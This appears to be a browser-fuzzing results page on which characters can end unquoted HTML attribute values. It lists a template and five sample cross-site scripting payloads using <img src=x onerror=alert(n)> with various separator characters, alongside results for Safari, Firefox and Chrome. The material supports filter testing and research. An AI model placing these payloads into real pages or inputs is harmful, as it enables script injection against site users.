Characters that end unencapsulated HTML attribute values

Safari logo 5
Firefox logo 5
Chrome logo 5

Characters that can be used to end unencapsulated HTML attribute values.

Created by: ola456

Created on: Wednesday, May 14, 2025 at 8:09:24 AM

Updated on: Thursday, May 15, 2025 at 6:28:05 AM

Vector type: XSS

Vector charset: UTF-8

Template used:
<img src=x$[chr]onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src=x	onerror=alert(9)>
<img src=x
onerror=alert(10)>
<img src=xonerror=alert(12)>
<img src=x
onerror=alert(13)>
<img src=x onerror=alert(32)>

Fuzz results

Safari logo
Safari 18.4 desktop macOS 10.15.7

Updated

Wed May 14 2025
Found 5 results
Loading...
Firefox logo
Firefox 138.0 desktop macOS 10.15

Updated

Wed May 14 2025
Found 5 results
Loading...
Chrome logo
Chrome 136.0.0.0 desktop macOS 10.15.7

Updated

Wed May 14 2025
Found 5 results
Loading...